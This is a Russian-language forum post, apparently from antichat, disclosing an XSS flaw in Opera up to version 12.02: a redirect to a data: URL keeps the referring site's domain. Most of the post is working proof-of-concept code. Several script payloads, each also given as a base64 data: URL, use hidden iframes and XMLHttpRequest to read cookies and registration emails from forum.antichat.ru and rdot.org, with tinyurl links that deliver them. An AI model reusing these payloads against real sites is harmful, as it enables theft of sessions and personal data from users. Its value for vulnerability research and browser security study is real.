follow
Браузер
Opera позволяет выполнить
XSS-атаку на любой сайт, который предоставляет возможность размещения ссылок на другие сайты.
Уязвимы версии для Opera для Windows, Mac и Linux до
12.02 включительно (последняя версия на сегодняшний день). На версиях до
9.50 проверка не проводилась.
Советую предварительно ознакомится со следующей информацией:
http://ru.wikipedia.org/wiki/Правило_ограничения_домена
http://ru.wikipedia.org/wiki/Data:_URL
В опере при перенаправлении с сайта на
data:URL через
HTTP-заголовок
Location свойство
document.domain имеет значение последнего перенаправляющего сайта.
Пример:
PHP код:
<script>alert(document.domain)</script>
PHP код:
data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+
Ссылка, сокращенная через сервис
tinyurl.com:
http://tinyurl.com/antichat-test1
При переходе по ссылке мы увидим алерт "
tinyurl.com".
Если нажать
Ctrl+R для повтора запроса, в алерте будет уже другой домен - тот, с которого осуществлен переход на ссылку
tinyurl.com/antichat-test1
При нажатии
Ctrl+R происходит не обновление текущей страницы, а полное повторение запроса. То же самое действие можно выполнить с помощью
JS-метода
location.reload()
Пример:
PHP код:
<script>
if(document.domain == 'tinyurl.com')
location.reload();
else
alert(document.domain);
</script>
PHP код:
data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZWxzZXthbGVydChkb2N1bWVudC5kb21haW4pfTwvc2NyaXB0Pg==
Ссылка:
http://tinyurl.com/antichat-test2
Теперь в алерте будет домен, с которого осуществлялся переход. Согласно
same origin policy это дает доступ к данным, находящимся на том же домене.
Уязвим сайт, с которого пользователь переходит по ссылке, а не тот сайт, который перенаправлят (не tinyurl.com). "Open redirect" не нужен. Для проведения атаки на сайт достаточно возможности написать на нем ссылку.
Vulnerable the site where user clicks the link, not the one that redirects (not tinyurl.com). "Open redirect" is not needed. To attack the site enough to write on it a link.
PoC:
1) Читаем куки forum.antichat.ru:
PHP код:
<script>
if(document.domain == 'tinyurl.com')
location.reload();
function xss()
{
alert(document.frames[0].document.cookie);
}
function ifrAdd()
{
var ifr = document.createElement('iframe');
ifr.style = 'width:0px;height:0px;visibility:hidden';
ifr.src = 'http';
ifr.src += document.referrer.length ? '' : 's';
ifr.src += '://forum.antichat.ru/css/a.css';
ifr.onload = function(){xss()};
document.body.appendChild(ifr);
}
</script>
<body onload=ifrAdd()>
PHP код:
data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe2FsZXJ0KGRvY3VtZW50LmZyYW1lc1swXS5kb2N1bWVudC5jb29raWUpfWZ1bmN0aW9uIGIoKXt2YXIgaT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpZnJhbWUnKTtpLnN0eWxlPSd3aWR0aDowcHg7aGVpZ2h0OjBweDt2aXNpYmlsaXR5OmhpZGRlbic7aS5zcmMgPSAnaHR0cCc7aS5zcmMrPWRvY3VtZW50LnJlZmVycmVyLmxlbmd0aD8nJzoncyc7aS5zcmMrPSc6Ly9mb3J1bS5hbnRpY2hhdC5ydS9jc3MvYS5jc3MnO2kub25sb2FkPWZ1bmN0aW9uKCl7YSgpfTtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGkpfTwvc2NyaXB0Pjxib2R5IG9ubG9hZD1iKCk+
Ссылка (пример работает при переходе по ссылке с домена
forum.antichat.ru):
http://tinyurl.com/antichat-cookie
2) Читаем куки rdot.org
PHP код:
<script>
if(document.domain == 'tinyurl.com')
location.reload();
function xss()
{
alert(document.frames[0].document.cookie);
}
function ifrAdd()
{
var ifr = document.createElement('iframe');
ifr.style = 'width:0px;height:0px;visibility:hidden';
ifr.src = 'https://rdot.org/forum/clientscript/vbulletin_read_marker.js';
ifr.onload = function(){xss()};
document.body.appendChild(ifr);
}
</script>
<body onload=ifrAdd()>
PHP код:
data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe2FsZXJ0KGRvY3VtZW50LmZyYW1lc1swXS5kb2N1bWVudC5jb29raWUpfWZ1bmN0aW9uIGIoKXt2YXIgaT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpZnJhbWUnKTtpLnN0eWxlPSd3aWR0aDowcHg7aGVpZ2h0OjBweDt2aXNpYmlsaXR5OmhpZGRlbic7aS5zcmMgPSAnaHR0cHM6Ly9yZG90Lm9yZy9mb3J1bS9jbGllbnRzY3JpcHQvdmJ1bGxldGluX3JlYWRfbWFya2VyLmpzJztpLm9ubG9hZD1mdW5jdGlvbigpe2EoKX07ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChpKX08L3NjcmlwdD48Ym9keSBvbmxvYWQ9YigpPg==
Ссылка (пример работает при переходе по ссылке с домена
rdot.org):
http://tinyurl.com/rdot-cookie
3) Читаем регистрационное мыло forum.antichat.ru
PHP код:
<script>
if(document.domain == 'tinyurl.com')
location.reload();
function getMail()
{
var x = new XMLHttpRequest;
x.open('GET', 'http' + (document.referrer.length ? '' : 's') + '://forum.antichat.ru/profile.php?do=editpassword', false);
x.send(null);
alert(x.responseText.match(/name="email" value="(.+?)"/)[1]);
}
</script>
<body onload=getMail()>
PHP код:
data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe3ZhciB4PW5ldyBYTUxIdHRwUmVxdWVzdDt4Lm9wZW4oJ0dFVCcsJ2h0dHAnKyhkb2N1bWVudC5yZWZlcnJlci5sZW5ndGggPyAnJyA6ICdzJykrJzovL2ZvcnVtLmFudGljaGF0LnJ1L3Byb2ZpbGUucGhwP2RvPWVkaXRwYXNzd29yZCcsZmFsc2UpO3guc2VuZChudWxsKTthbGVydCh4LnJlc3BvbnNlVGV4dC5tYXRjaCgvbmFtZT0iZW1haWwiIHZhbHVlPSIoLis/KSIvKVsxXSl9PC9zY3JpcHQ+PGJvZHkgb25sb2FkPWEoKT4=
Ссылка (пример работает при переходе по ссылке с домена
forum.antichat.ru):
http://tinyurl.com/antichat-mail
4) Читаем регистрационное мыло rdot.org
PHP код:
<script>
if(document.domain == 'tinyurl.com')
location.reload();
function getMail()
{
var x = new XMLHttpRequest;
x.open('GET', 'https://rdot.org/forum/profile.php?do=editpassword', false);
x.send(null);
alert(x.responseText.match(/name="email" value="(.+?)"/)[1]);
}
</script>
<body onload=getMail()>
PHP код:
data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe3ZhciB4PW5ldyBYTUxIdHRwUmVxdWVzdDt4Lm9wZW4oJ0dFVCcsJ2h0dHBzOi8vcmRvdC5vcmcvZm9ydW0vcHJvZmlsZS5waHA/ZG89ZWRpdHBhc3N3b3JkJyxmYWxzZSk7eC5zZW5kKG51bGwpO2FsZXJ0KHgucmVzcG9uc2VUZXh0Lm1hdGNoKC9uYW1lPSJlbWFpbCIgdmFsdWU9IiguKz8pIi8pWzFdKX08L3NjcmlwdD48Ym9keSBvbmxvYWQ9YSgpPg==
Ссылка (пример работает при переходе по ссылке с домена
rdot.org):
http://tinyurl.com/rdot-mail
тема на antichat.ru